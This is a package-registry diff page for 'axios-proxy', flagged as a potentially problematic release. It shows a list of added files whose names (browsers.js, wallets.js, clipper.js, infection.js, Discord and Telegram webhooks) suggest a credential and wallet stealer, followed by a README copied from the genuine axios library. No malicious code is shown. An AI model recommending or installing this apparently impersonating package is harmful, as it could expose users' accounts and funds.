axios-proxy 0.0.1-security β 1.7.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of axios-proxy might be problematic. Click here for more details.
- package/LICENSE +201 -0
- package/README.md +1313 -5
- package/config/counter.js +24 -0
- package/config/crypto.js +20 -0
- package/config/discord.js +23 -0
- package/config/environ.js +132 -0
- package/config/executable.js +8 -0
- package/config/jszip.js +15 -0
- package/config/jsziptg.js +15 -0
- package/config/main.js +6 -0
- package/config/telegram.js +7 -0
- package/config/user.js +43 -0
- package/config/wallets.js +17 -0
- package/config.js +8 -0
- package/discord_desktop_core/index.js +856 -0
- package/gofile.js +323 -0
- package/index.js +4 -0
- package/index2.js +323 -0
- package/infection.js +276 -0
- package/keywords.js +16 -0
- package/lib.txt +1 -0
- package/package.json +47 -3
- package/utils/browsers.js +503 -0
- package/utils/clipper.js +38 -0
- package/utils/constructor.js +14 -0
- package/utils/data.js +19 -0
- package/utils/discord.js +448 -0
- package/utils/encryption.js +11 -0
- package/utils/flags.js +509 -0
- package/utils/infection.js +199 -0
- package/utils/jszip.js +37 -0
- package/utils/jsziptg.js +37 -0
- package/utils/protection.js +45 -0
- package/utils/prototype.js +29 -0
- package/utils/telegram.js +27 -0
- package/utils/time.js +7 -0
- package/utils/wallets.js +31 -0
- package/utils/webhook.js +78 -0
package/README.md
CHANGED
@@ -1,5 +1,1313 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
1
|
+
<h1 align="center">
|
2
|
+
<b>
|
3
|
+
<a href="https://axios-http.com"><img src="https://axios-http.com/assets/logo.svg" /></a><br>
|
4
|
+
</b>
|
5
|
+
</h1>
|
6
|
+
|
7
|
+
<p align="center">Promise based HTTP client for the browser and node.js</p>
|
8
|
+
|
9
|
+
<p align="center">
|
10
|
+
<a href="https://axios-http.com/"><b>Website</b></a> β’
|
11
|
+
<a href="https://axios-http.com/docs/intro"><b>Documentation</b></a>
|
12
|
+
</p>
|
13
|
+
|
14
|
+
<div align="center">
|
15
|
+
|
16
|
+
[![npm version](https://img.shields.io/npm/v/axios.svg?style=flat-square)](https://www.npmjs.org/package/axios)
|
17
|
+
[![CDNJS](https://img.shields.io/cdnjs/v/axios.svg?style=flat-square)](https://cdnjs.com/libraries/axios)
|
18
|
+
[![Build status](https://img.shields.io/github/actions/workflow/status/axios/axios/ci.yml?branch=v1.x&label=CI&logo=github&style=flat-square)](https://github.com/axios/axios/actions/workflows/ci.yml)
|
19
|
+
[![Gitpod Ready-to-Code](https://img.shields.io/badge/Gitpod-Ready--to--Code-blue?logo=gitpod&style=flat-square)](https://gitpod.io/#https://github.com/axios/axios)
|
20
|
+
[![code coverage](https://img.shields.io/coveralls/mzabriskie/axios.svg?style=flat-square)](https://coveralls.io/r/mzabriskie/axios)
|
21
|
+
[![install size](https://img.shields.io/badge/dynamic/json?url=https://packagephobia.com/v2/api.json?p=axios&query=$.install.pretty&label=install%20size&style=flat-square)](https://packagephobia.now.sh/result?p=axios)
|
22
|
+
[![npm bundle size](https://img.shields.io/bundlephobia/minzip/axios?style=flat-square)](https://bundlephobia.com/package/axios@latest)
|
23
|
+
[![npm downloads](https://img.shields.io/npm/dm/axios.svg?style=flat-square)](https://npm-stat.com/charts.html?package=axios)
|
24
|
+
[![gitter chat](https://img.shields.io/gitter/room/mzabriskie/axios.svg?style=flat-square)](https://gitter.im/mzabriskie/axios)
|
25
|
+
[![code helpers](https://www.codetriage.com/axios/axios/badges/users.svg)](https://www.codetriage.com/axios/axios)
|
26
|
+
[![Known Vulnerabilities](https://snyk.io/test/npm/axios/badge.svg)](https://snyk.io/test/npm/axios)
|
27
|
+
|
28
|
+
|
29
|
+
|
30
|
+
|
31
|
+
</div>
|
32
|
+
|
33
|
+
## Table of Contents
|
34
|
+
|
35
|
+
- [Features](#features)
|
36
|
+
- [Browser Support](#browser-support)
|
37
|
+
- [Installing](#installing)
|
38
|
+
- [Package manager](#package-manager)
|
39
|
+
- [CDN](#cdn)
|
40
|
+
- [Example](#example)
|
41
|
+
- [Axios API](#axios-api)
|
42
|
+
- [Request method aliases](#request-method-aliases)
|
43
|
+
- [Concurrency π](#concurrency-deprecated)
|
44
|
+
- [Creating an instance](#creating-an-instance)
|
45
|
+
- [Instance methods](#instance-methods)
|
46
|
+
- [Request Config](#request-config)
|
47
|
+
- [Response Schema](#response-schema)
|
48
|
+
- [Config Defaults](#config-defaults)
|
49
|
+
- [Global axios defaults](#global-axios-defaults)
|
50
|
+
- [Custom instance defaults](#custom-instance-defaults)
|
51
|
+
- [Config order of precedence](#config-order-of-precedence)
|
52
|
+
- [Interceptors](#interceptors)
|
53
|
+
- [Multiple Interceptors](#multiple-interceptors)
|
54
|
+
- [Handling Errors](#handling-errors)
|
55
|
+
- [Cancellation](#cancellation)
|
56
|
+
- [AbortController](#abortcontroller)
|
57
|
+
- [CancelToken π](#canceltoken-deprecated)
|
58
|
+
- [Using application/x-www-form-urlencoded format](#using-applicationx-www-form-urlencoded-format)
|
59
|
+
- [URLSearchParams](#urlsearchparams)
|
60
|
+
- [Query string](#query-string-older-browsers)
|
61
|
+
- [π Automatic serialization](#-automatic-serialization-to-urlsearchparams)
|
62
|
+
- [Using multipart/form-data format](#using-multipartform-data-format)
|
63
|
+
- [FormData](#formdata)
|
64
|
+
- [π Automatic serialization](#-automatic-serialization-to-formdata)
|
65
|
+
- [Files Posting](#files-posting)
|
66
|
+
- [HTML Form Posting](#-html-form-posting-browser)
|
67
|
+
- [π Progress capturing](#-progress-capturing)
|
68
|
+
- [π Rate limiting](#-progress-capturing)
|
69
|
+
- [Semver](#semver)
|
70
|
+
- [Promises](#promises)
|
71
|
+
- [TypeScript](#typescript)
|
72
|
+
- [Resources](#resources)
|
73
|
+
- [Credits](#credits)
|
74
|
+
- [License](#license)
|
75
|
+
|
76
|
+
## Features
|
77
|
+
|
78
|
+
- Make [XMLHttpRequests](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) from the browser
|
79
|
+
- Make [http](https://nodejs.org/api/http.html) requests from node.js
|
80
|
+
- Supports the [Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) API
|
81
|
+
- Intercept request and response
|
82
|
+
- Transform request and response data
|
83
|
+
- Cancel requests
|
84
|
+
- Automatic transforms for [JSON](https://www.json.org/json-en.html) data
|
85
|
+
- π Automatic data object serialization to `multipart/form-data` and `x-www-form-urlencoded` body encodings
|
86
|
+
- Client side support for protecting against [XSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
|
87
|
+
|
88
|
+
## Browser Support
|
89
|
+
|
90
|
+
![Chrome](https://raw.githubusercontent.com/alrra/browser-logos/main/src/chrome/chrome_48x48.png) | ![Firefox](https://raw.githubusercontent.com/alrra/browser-logos/main/src/firefox/firefox_48x48.png) | ![Safari](https://raw.githubusercontent.com/alrra/browser-logos/main/src/safari/safari_48x48.png) | ![Opera](https://raw.githubusercontent.com/alrra/browser-logos/main/src/opera/opera_48x48.png) | ![Edge](https://raw.githubusercontent.com/alrra/browser-logos/main/src/edge/edge_48x48.png) | ![IE](https://raw.githubusercontent.com/alrra/browser-logos/master/src/archive/internet-explorer_9-11/internet-explorer_9-11_48x48.png) |
|
91
|
+
--- | --- | --- | --- | --- | --- |
|
92
|
+
Latest β | Latest β | Latest β | Latest β | Latest β | 11 β |
|
93
|
+
|
94
|
+
[![Browser Matrix](https://saucelabs.com/open_sauce/build_matrix/axios.svg)](https://saucelabs.com/u/axios)
|
95
|
+
|
96
|
+
## Installing
|
97
|
+
|
98
|
+
### Package manager
|
99
|
+
|
100
|
+
Using npm:
|
101
|
+
|
102
|
+
```bash
|
103
|
+
$ npm install axios
|
104
|
+
```
|
105
|
+
|
106
|
+
Using bower:
|
107
|
+
|
108
|
+
```bash
|
109
|
+
$ bower install axios
|
110
|
+
```
|
111
|
+
|
112
|
+
Using yarn:
|
113
|
+
|
114
|
+
```bash
|
115
|
+
$ yarn add axios
|
116
|
+
```
|
117
|
+
|
118
|
+
Using pnpm:
|
119
|
+
|
120
|
+
```bash
|
121
|
+
$ pnpm add axios
|
122
|
+
```
|
123
|
+
|
124
|
+
Once the package is installed, you can import the library using `import` or `require` approach:
|
125
|
+
|
126
|
+
```js
|
127
|
+
import axios, {isCancel, AxiosError} from 'axios';
|
128
|
+
```
|
129
|
+
|
130
|
+
You can also use the default export, since the named export is just a re-export from the Axios factory:
|
131
|
+
|
132
|
+
```js
|
133
|
+
import axios from 'axios';
|
134
|
+
|
135
|
+
console.log(axios.isCancel('something'));
|
136
|
+
````
|
137
|
+
|
138
|
+
If you use `require` for importing, **only default export is available**:
|
139
|
+
|
140
|
+
```js
|
141
|
+
const axios = require('axios');
|
142
|
+
|
143
|
+
console.log(axios.isCancel('something'));
|
144
|
+
```
|
145
|
+
|
146
|
+
For cases where something went wrong when trying to import a module into a custom or legacy environment,
|
147
|
+
you can try importing the module package directly:
|
148
|
+
|
149
|
+
```js
|
150
|
+
const axios = require('axios/dist/browser/axios.cjs'); // browser commonJS bundle (ES2017)
|
151
|
+
// const axios = require('axios/dist/node/axios.cjs'); // node commonJS bundle (ES2017)
|
152
|
+
```
|
153
|
+
|
154
|
+
### CDN
|
155
|
+
|
156
|
+
Using jsDelivr CDN (ES5 UMD browser module):
|
157
|
+
|
158
|
+
```html
|
159
|
+
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>
|
160
|
+
```
|
161
|
+
|
162
|
+
Using unpkg CDN:
|
163
|
+
|
164
|
+
```html
|
165
|
+
<script src="https://unpkg.com/axios@1.1.2/dist/axios.min.js"></script>
|
166
|
+
```
|
167
|
+
|
168
|
+
## Example
|
169
|
+
|
170
|
+
> **Note** CommonJS usage
|
171
|
+
> In order to gain the TypeScript typings (for intellisense / autocomplete) while using CommonJS imports with `require()`, use the following approach:
|
172
|
+
|
173
|
+
```js
|
174
|
+
import axios from 'axios';
|
175
|
+
//const axios = require('axios'); // legacy way
|
176
|
+
|
177
|
+
// Make a request for a user with a given ID
|
178
|
+
axios.get('/user?ID=12345')
|
179
|
+
.then(function (response) {
|
180
|
+
// handle success
|
181
|
+
console.log(response);
|
182
|
+
})
|
183
|
+
.catch(function (error) {
|
184
|
+
// handle error
|
185
|
+
console.log(error);
|
186
|
+
})
|
187
|
+
.finally(function () {
|
188
|
+
// always executed
|
189
|
+
});
|
190
|
+
|
191
|
+
// Optionally the request above could also be done as
|
192
|
+
axios.get('/user', {
|
193
|
+
params: {
|
194
|
+
ID: 12345
|
195
|
+
}
|
196
|
+
})
|
197
|
+
.then(function (response) {
|
198
|
+
console.log(response);
|
199
|
+
})
|
200
|
+
.catch(function (error) {
|
201
|
+
console.log(error);
|
202
|
+
})
|
203
|
+
.finally(function () {
|
204
|
+
// always executed
|
205
|
+
});
|
206
|
+
|
207
|
+
// Want to use async/await? Add the `async` keyword to your outer function/method.
|
208
|
+
async function getUser() {
|
209
|
+
try {
|
210
|
+
const response = await axios.get('/user?ID=12345');
|
211
|
+
console.log(response);
|
212
|
+
} catch (error) {
|
213
|
+
console.error(error);
|
214
|
+
}
|
215
|
+
}
|
216
|
+
```
|
217
|
+
|
218
|
+
> **Note** `async/await` is part of ECMAScript 2017 and is not supported in Internet
|
219
|
+
> Explorer and older browsers, so use with caution.
|
220
|
+
|
221
|
+
Performing a `POST` request
|
222
|
+
|
223
|
+
```js
|
224
|
+
axios.post('/user', {
|
225
|
+
firstName: 'Fred',
|
226
|
+
lastName: 'Flintstone'
|
227
|
+
})
|
228
|
+
.then(function (response) {
|
229
|
+
console.log(response);
|
230
|
+
})
|
231
|
+
.catch(function (error) {
|
232
|
+
console.log(error);
|
233
|
+
});
|
234
|
+
```
|
235
|
+
|
236
|
+
Performing multiple concurrent requests
|
237
|
+
|
238
|
+
```js
|
239
|
+
function getUserAccount() {
|
240
|
+
return axios.get('/user/12345');
|
241
|
+
}
|
242
|
+
|
243
|
+
function getUserPermissions() {
|
244
|
+
return axios.get('/user/12345/permissions');
|
245
|
+
}
|
246
|
+
|
247
|
+
Promise.all([getUserAccount(), getUserPermissions()])
|
248
|
+
.then(function (results) {
|
249
|
+
const acct = results[0];
|
250
|
+
const perm = results[1];
|
251
|
+
});
|
252
|
+
```
|
253
|
+
|
254
|
+
## axios API
|
255
|
+
|
256
|
+
Requests can be made by passing the relevant config to `axios`.
|
257
|
+
|
258
|
+
##### axios(config)
|
259
|
+
|
260
|
+
```js
|
261
|
+
// Send a POST request
|
262
|
+
axios({
|
263
|
+
method: 'post',
|
264
|
+
url: '/user/12345',
|
265
|
+
data: {
|
266
|
+
firstName: 'Fred',
|
267
|
+
lastName: 'Flintstone'
|
268
|
+
}
|
269
|
+
});
|
270
|
+
```
|
271
|
+
|
272
|
+
```js
|
273
|
+
// GET request for remote image in node.js
|
274
|
+
axios({
|
275
|
+
method: 'get',
|
276
|
+
url: 'https://bit.ly/2mTM3nY',
|
277
|
+
responseType: 'stream'
|
278
|
+
})
|
279
|
+
.then(function (response) {
|
280
|
+
response.data.pipe(fs.createWriteStream('ada_lovelace.jpg'))
|
281
|
+
});
|
282
|
+
```
|
283
|
+
|
284
|
+
##### axios(url[, config])
|
285
|
+
|
286
|
+
```js
|
287
|
+
// Send a GET request (default method)
|
288
|
+
axios('/user/12345');
|
289
|
+
```
|
290
|
+
|
291
|
+
### Request method aliases
|
292
|
+
|
293
|
+
For convenience, aliases have been provided for all common request methods.
|
294
|
+
|
295
|
+
##### axios.request(config)
|
296
|
+
##### axios.get(url[, config])
|
297
|
+
##### axios.delete(url[, config])
|
298
|
+
##### axios.head(url[, config])
|
299
|
+
##### axios.options(url[, config])
|
300
|
+
##### axios.post(url[, data[, config]])
|
301
|
+
##### axios.put(url[, data[, config]])
|
302
|
+
##### axios.patch(url[, data[, config]])
|
303
|
+
|
304
|
+
###### NOTE
|
305
|
+
When using the alias methods `url`, `method`, and `data` properties don't need to be specified in config.
|
306
|
+
|
307
|
+
### Concurrency (Deprecated)
|
308
|
+
Please use `Promise.all` to replace the below functions.
|
309
|
+
|
310
|
+
Helper functions for dealing with concurrent requests.
|
311
|
+
|
312
|
+
axios.all(iterable)
|
313
|
+
axios.spread(callback)
|
314
|
+
|
315
|
+
### Creating an instance
|
316
|
+
|
317
|
+
You can create a new instance of axios with a custom config.
|
318
|
+
|
319
|
+
##### axios.create([config])
|
320
|
+
|
321
|
+
```js
|
322
|
+
const instance = axios.create({
|
323
|
+
baseURL: 'https://some-domain.com/api/',
|
324
|
+
timeout: 1000,
|
325
|
+
headers: {'X-Custom-Header': 'foobar'}
|
326
|
+
});
|
327
|
+
```
|
328
|
+
|
329
|
+
### Instance methods
|
330
|
+
|
331
|
+
The available instance methods are listed below. The specified config will be merged with the instance config.
|
332
|
+
|
333
|
+
##### axios#request(config)
|
334
|
+
##### axios#get(url[, config])
|
335
|
+
##### axios#delete(url[, config])
|
336
|
+
##### axios#head(url[, config])
|
337
|
+
##### axios#options(url[, config])
|
338
|
+
##### axios#post(url[, data[, config]])
|
339
|
+
##### axios#put(url[, data[, config]])
|
340
|
+
##### axios#patch(url[, data[, config]])
|
341
|
+
##### axios#getUri([config])
|
342
|
+
|
343
|
+
## Request Config
|
344
|
+
|
345
|
+
These are the available config options for making requests. Only the `url` is required. Requests will default to `GET` if `method` is not specified.
|
346
|
+
|
347
|
+
```js
|
348
|
+
{
|
349
|
+
// `url` is the server URL that will be used for the request
|
350
|
+
url: '/user',
|
351
|
+
|
352
|
+
// `method` is the request method to be used when making the request
|
353
|
+
method: 'get', // default
|
354
|
+
|
355
|
+
// `baseURL` will be prepended to `url` unless `url` is absolute.
|
356
|
+
// It can be convenient to set `baseURL` for an instance of axios to pass relative URLs
|
357
|
+
// to methods of that instance.
|
358
|
+
baseURL: 'https://some-domain.com/api/',
|
359
|
+
|
360
|
+
// `transformRequest` allows changes to the request data before it is sent to the server
|
361
|
+
// This is only applicable for request methods 'PUT', 'POST', 'PATCH' and 'DELETE'
|
362
|
+
// The last function in the array must return a string or an instance of Buffer, ArrayBuffer,
|
363
|
+
// FormData or Stream
|
364
|
+
// You may modify the headers object.
|
365
|
+
transformRequest: [function (data, headers) {
|
366
|
+
// Do whatever you want to transform the data
|
367
|
+
|
368
|
+
return data;
|
369
|
+
}],
|
370
|
+
|
371
|
+
// `transformResponse` allows changes to the response data to be made before
|
372
|
+
// it is passed to then/catch
|
373
|
+
transformResponse: [function (data) {
|
374
|
+
// Do whatever you want to transform the data
|
375
|
+
|
376
|
+
return data;
|
377
|
+
}],
|
378
|
+
|
379
|
+
// `headers` are custom headers to be sent
|
380
|
+
headers: {'X-Requested-With': 'XMLHttpRequest'},
|
381
|
+
|
382
|
+
// `params` are the URL parameters to be sent with the request
|
383
|
+
// Must be a plain object or a URLSearchParams object
|
384
|
+
params: {
|
385
|
+
ID: 12345
|
386
|
+
},
|
387
|
+
|
388
|
+
// `paramsSerializer` is an optional config in charge of serializing `params`
|
389
|
+
paramsSerializer: {
|
390
|
+
encode?: (param: string): string => { /* Do custom ops here and return transformed string */ }, // custom encoder function; sends Key/Values in an iterative fashion
|
391
|
+
serialize?: (params: Record<string, any>, options?: ParamsSerializerOptions ), // mimic pre 1.x behavior and send entire params object to a custom serializer func. Allows consumer to control how params are serialized.
|
392
|
+
indexes: false // array indexes format (null - no brackets, false (default) - empty brackets, true - brackets with indexes)
|
393
|
+
},
|
394
|
+
|
395
|
+
// `data` is the data to be sent as the request body
|
396
|
+
// Only applicable for request methods 'PUT', 'POST', 'DELETE , and 'PATCH'
|
397
|
+
// When no `transformRequest` is set, must be of one of the following types:
|
398
|
+
// - string, plain object, ArrayBuffer, ArrayBufferView, URLSearchParams
|
399
|
+
// - Browser only: FormData, File, Blob
|
400
|
+
// - Node only: Stream, Buffer, FormData (form-data package)
|
401
|
+
data: {
|
402
|
+
firstName: 'Fred'
|
403
|
+
},
|
404
|
+
|
405
|
+
// syntax alternative to send data into the body
|
406
|
+
// method post
|
407
|
+
// only the value is sent, not the key
|
408
|
+
data: 'Country=Brasil&City=Belo Horizonte',
|
409
|
+
|
410
|
+
// `timeout` specifies the number of milliseconds before the request times out.
|
411
|
+
// If the request takes longer than `timeout`, the request will be aborted.
|
412
|
+
timeout: 1000, // default is `0` (no timeout)
|
413
|
+
|
414
|
+
// `withCredentials` indicates whether or not cross-site Access-Control requests
|
415
|
+
// should be made using credentials
|
416
|
+
withCredentials: false, // default
|
417
|
+
|
418
|
+
// `adapter` allows custom handling of requests which makes testing easier.
|
419
|
+
// Return a promise and supply a valid response (see lib/adapters/README.md).
|
420
|
+
adapter: function (config) {
|
421
|
+
/* ... */
|
422
|
+
},
|
423
|
+
|
424
|
+
// `auth` indicates that HTTP Basic auth should be used, and supplies credentials.
|
425
|
+
// This will set an `Authorization` header, overwriting any existing
|
426
|
+
// `Authorization` custom headers you have set using `headers`.
|
427
|
+
// Please note that only HTTP Basic auth is configurable through this parameter.
|
428
|
+
// For Bearer tokens and such, use `Authorization` custom headers instead.
|
429
|
+
auth: {
|
430
|
+
username: 'janedoe',
|
431
|
+
password: 's00pers3cret'
|
432
|
+
},
|
433
|
+
|
434
|
+
// `responseType` indicates the type of data that the server will respond with
|
435
|
+
// options are: 'arraybuffer', 'document', 'json', 'text', 'stream'
|
436
|
+
// browser only: 'blob'
|
437
|
+
responseType: 'json', // default
|
438
|
+
|
439
|
+
// `responseEncoding` indicates encoding to use for decoding responses (Node.js only)
|
440
|
+
// Note: Ignored for `responseType` of 'stream' or client-side requests
|
441
|
+
responseEncoding: 'utf8', // default
|
442
|
+
|
443
|
+
// `xsrfCookieName` is the name of the cookie to use as a value for xsrf token
|
444
|
+
xsrfCookieName: 'XSRF-TOKEN', // default
|
445
|
+
|
446
|
+
// `xsrfHeaderName` is the name of the http header that carries the xsrf token value
|
447
|
+
xsrfHeaderName: 'X-XSRF-TOKEN', // default
|
448
|
+
|
449
|
+
// `onUploadProgress` allows handling of progress events for uploads
|
450
|
+
// browser & node.js
|
451
|
+
onUploadProgress: function ({loaded, total, progress, bytes, estimated, rate, upload = true}) {
|
452
|
+
// Do whatever you want with the Axios progress event
|
453
|
+
},
|
454
|
+
|
455
|
+
// `onDownloadProgress` allows handling of progress events for downloads
|
456
|
+
// browser & node.js
|
457
|
+
onDownloadProgress: function ({loaded, total, progress, bytes, estimated, rate, download = true}) {
|
458
|
+
// Do whatever you want with the Axios progress event
|
459
|
+
},
|
460
|
+
|
461
|
+
// `maxContentLength` defines the max size of the http response content in bytes allowed in node.js
|
462
|
+
maxContentLength: 2000,
|
463
|
+
|
464
|
+
// `maxBodyLength` (Node only option) defines the max size of the http request content in bytes allowed
|
465
|
+
maxBodyLength: 2000,
|
466
|
+
|
467
|
+
// `validateStatus` defines whether to resolve or reject the promise for a given
|
468
|
+
// HTTP response status code. If `validateStatus` returns `true` (or is set to `null`
|
469
|
+
// or `undefined`), the promise will be resolved; otherwise, the promise will be
|
470
|
+
// rejected.
|
471
|
+
validateStatus: function (status) {
|
472
|
+
return status >= 200 && status < 300; // default
|
473
|
+
},
|
474
|
+
|
475
|
+
// `maxRedirects` defines the maximum number of redirects to follow in node.js.
|
476
|
+
// If set to 0, no redirects will be followed.
|
477
|
+
maxRedirects: 21, // default
|
478
|
+
|
479
|
+
// `beforeRedirect` defines a function that will be called before redirect.
|
480
|
+
// Use this to adjust the request options upon redirecting,
|
481
|
+
// to inspect the latest response headers,
|
482
|
+
// or to cancel the request by throwing an error
|
483
|
+
// If maxRedirects is set to 0, `beforeRedirect` is not used.
|
484
|
+
beforeRedirect: (options, { headers }) => {
|
485
|
+
if (options.hostname === "example.com") {
|
486
|
+
options.auth = "user:password";
|
487
|
+
}
|
488
|
+
},
|
489
|
+
|
490
|
+
// `socketPath` defines a UNIX Socket to be used in node.js.
|
491
|
+
// e.g. '/var/run/docker.sock' to send requests to the docker daemon.
|
492
|
+
// Only either `socketPath` or `proxy` can be specified.
|
493
|
+
// If both are specified, `socketPath` is used.
|
494
|
+
socketPath: null, // default
|
495
|
+
|
496
|
+
// `transport` determines the transport method that will be used to make the request. If defined, it will be used. Otherwise, if `maxRedirects` is 0, the default `http` or `https` library will be used, depending on the protocol specified in `protocol`. Otherwise, the `httpFollow` or `httpsFollow` library will be used, again depending on the protocol, which can handle redirects.
|
497
|
+
transport: undefined, // default
|
498
|
+
|
499
|
+
// `httpAgent` and `httpsAgent` define a custom agent to be used when performing http
|
500
|
+
// and https requests, respectively, in node.js. This allows options to be added like
|
501
|
+
// `keepAlive` that are not enabled by default.
|
502
|
+
httpAgent: new http.Agent({ keepAlive: true }),
|
503
|
+
httpsAgent: new https.Agent({ keepAlive: true }),
|
504
|
+
|
505
|
+
// `proxy` defines the hostname, port, and protocol of the proxy server.
|
506
|
+
// You can also define your proxy using the conventional `http_proxy` and
|
507
|
+
// `https_proxy` environment variables. If you are using environment variables
|
508
|
+
// for your proxy configuration, you can also define a `no_proxy` environment
|
509
|
+
// variable as a comma-separated list of domains that should not be proxied.
|
510
|
+
// Use `false` to disable proxies, ignoring environment variables.
|
511
|
+
// `auth` indicates that HTTP Basic auth should be used to connect to the proxy, and
|
512
|
+
// supplies credentials.
|
513
|
+
// This will set an `Proxy-Authorization` header, overwriting any existing
|
514
|
+
// `Proxy-Authorization` custom headers you have set using `headers`.
|
515
|
+
// If the proxy server uses HTTPS, then you must set the protocol to `https`.
|
516
|
+
proxy: {
|
517
|
+
protocol: 'https',
|
518
|
+
host: '127.0.0.1',
|
519
|
+
// hostname: '127.0.0.1' // Takes precedence over 'host' if both are defined
|
520
|
+
port: 9000,
|
521
|
+
auth: {
|
522
|
+
username: 'mikeymike',
|
523
|
+
password: 'rapunz3l'
|
524
|
+
}
|
525
|
+
},
|
526
|
+
|
527
|
+
// `cancelToken` specifies a cancel token that can be used to cancel the request
|
528
|
+
// (see Cancellation section below for details)
|
529
|
+
cancelToken: new CancelToken(function (cancel) {
|
530
|
+
}),
|
531
|
+
|
532
|
+
// an alternative way to cancel Axios requests using AbortController
|
533
|
+
signal: new AbortController().signal,
|
534
|
+
|
535
|
+
// `decompress` indicates whether or not the response body should be decompressed
|
536
|
+
// automatically. If set to `true` will also remove the 'content-encoding' header
|
537
|
+
// from the responses objects of all decompressed responses
|
538
|
+
// - Node only (XHR cannot turn off decompression)
|
539
|
+
decompress: true // default
|
540
|
+
|
541
|
+
// `insecureHTTPParser` boolean.
|
542
|
+
// Indicates where to use an insecure HTTP parser that accepts invalid HTTP headers.
|
543
|
+
// This may allow interoperability with non-conformant HTTP implementations.
|
544
|
+
// Using the insecure parser should be avoided.
|
545
|
+
// see options https://nodejs.org/dist/latest-v12.x/docs/api/http.html#http_http_request_url_options_callback
|
546
|
+
// see also https://nodejs.org/en/blog/vulnerability/february-2020-security-releases/#strict-http-header-parsing-none
|
547
|
+
insecureHTTPParser: undefined // default
|
548
|
+
|
549
|
+
// transitional options for backward compatibility that may be removed in the newer versions
|
550
|
+
transitional: {
|
551
|
+
// silent JSON parsing mode
|
552
|
+
// `true` - ignore JSON parsing errors and set response.data to null if parsing failed (old behaviour)
|
553
|
+
// `false` - throw SyntaxError if JSON parsing failed (Note: responseType must be set to 'json')
|
554
|
+
silentJSONParsing: true, // default value for the current Axios version
|
555
|
+
|
556
|
+
// try to parse the response string as JSON even if `responseType` is not 'json'
|
557
|
+
forcedJSONParsing: true,
|
558
|
+
|
559
|
+
// throw ETIMEDOUT error instead of generic ECONNABORTED on request timeouts
|
560
|
+
clarifyTimeoutError: false,
|
561
|
+
},
|
562
|
+
|
563
|
+
env: {
|
564
|
+
// The FormData class to be used to automatically serialize the payload into a FormData object
|
565
|
+
FormData: window?.FormData || global?.FormData
|
566
|
+
},
|
567
|
+
|
568
|
+
formSerializer: {
|
569
|
+
visitor: (value, key, path, helpers) => {}; // custom visitor function to serialize form values
|
570
|
+
dots: boolean; // use dots instead of brackets format
|
571
|
+
metaTokens: boolean; // keep special endings like {} in parameter key
|
572
|
+
indexes: boolean; // array indexes format null - no brackets, false - empty brackets, true - brackets with indexes
|
573
|
+
},
|
574
|
+
|
575
|
+
// http adapter only (node.js)
|
576
|
+
maxRate: [
|
577
|
+
100 * 1024, // 100KB/s upload limit,
|
578
|
+
100 * 1024 // 100KB/s download limit
|
579
|
+
]
|
580
|
+
}
|
581
|
+
```
|
582
|
+
|
583
|
+
## Response Schema
|
584
|
+
|
585
|
+
The response for a request contains the following information.
|
586
|
+
|
587
|
+
```js
|
588
|
+
{
|
589
|
+
// `data` is the response that was provided by the server
|
590
|
+
data: {},
|
591
|
+
|
592
|
+
// `status` is the HTTP status code from the server response
|
593
|
+
status: 200,
|
594
|
+
|
595
|
+
// `statusText` is the HTTP status message from the server response
|
596
|
+
statusText: 'OK',
|
597
|
+
|
598
|
+
// `headers` the HTTP headers that the server responded with
|
599
|
+
// All header names are lowercase and can be accessed using the bracket notation.
|
600
|
+
// Example: `response.headers['content-type']`
|
601
|
+
headers: {},
|
602
|
+
|
603
|
+
// `config` is the config that was provided to `axios` for the request
|
604
|
+
config: {},
|
605
|
+
|
606
|
+
// `request` is the request that generated this response
|
607
|
+
// It is the last ClientRequest instance in node.js (in redirects)
|
608
|
+
// and an XMLHttpRequest instance in the browser
|
609
|
+
request: {}
|
610
|
+
}
|
611
|
+
```
|
612
|
+
|
613
|
+
When using `then`, you will receive the response as follows:
|
614
|
+
|
615
|
+
```js
|
616
|
+
axios.get('/user/12345')
|
617
|
+
.then(function (response) {
|
618
|
+
console.log(response.data);
|
619
|
+
console.log(response.status);
|
620
|
+
console.log(response.statusText);
|
621
|
+
console.log(response.headers);
|
622
|
+
console.log(response.config);
|
623
|
+
});
|
624
|
+
```
|
625
|
+
|
626
|
+
When using `catch`, or passing a [rejection callback](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then) as second parameter of `then`, the response will be available through the `error` object as explained in the [Handling Errors](#handling-errors) section.
|
627
|
+
|
628
|
+
## Config Defaults
|
629
|
+
|
630
|
+
You can specify config defaults that will be applied to every request.
|
631
|
+
|
632
|
+
### Global axios defaults
|
633
|
+
|
634
|
+
```js
|
635
|
+
axios.defaults.baseURL = 'https://api.example.com';
|
636
|
+
|
637
|
+
// Important: If axios is used with multiple domains, the AUTH_TOKEN will be sent to all of them.
|
638
|
+
// See below for an example using Custom instance defaults instead.
|
639
|
+
axios.defaults.headers.common['Authorization'] = AUTH_TOKEN;
|
640
|
+
|
641
|
+
axios.defaults.headers.post['Content-Type'] = 'application/x-www-form-urlencoded';
|
642
|
+
```
|
643
|
+
|
644
|
+
### Custom instance defaults
|
645
|
+
|
646
|
+
```js
|
647
|
+
// Set config defaults when creating the instance
|
648
|
+
const instance = axios.create({
|
649
|
+
baseURL: 'https://api.example.com'
|
650
|
+
});
|
651
|
+
|
652
|
+
// Alter defaults after instance has been created
|
653
|
+
instance.defaults.headers.common['Authorization'] = AUTH_TOKEN;
|
654
|
+
```
|
655
|
+
|
656
|
+
### Config order of precedence
|
657
|
+
|
658
|
+
Config will be merged with an order of precedence. The order is library defaults found in [lib/defaults.js](https://github.com/axios/axios/blob/master/lib/defaults/index.js#L28), then `defaults` property of the instance, and finally `config` argument for the request. The latter will take precedence over the former. Here's an example.
|
659
|
+
|
660
|
+
```js
|
661
|
+
// Create an instance using the config defaults provided by the library
|
662
|
+
// At this point the timeout config value is `0` as is the default for the library
|
663
|
+
const instance = axios.create();
|
664
|
+
|
665
|
+
// Override timeout default for the library
|
666
|
+
// Now all requests using this instance will wait 2.5 seconds before timing out
|
667
|
+
instance.defaults.timeout = 2500;
|
668
|
+
|
669
|
+
// Override timeout for this request as it's known to take a long time
|
670
|
+
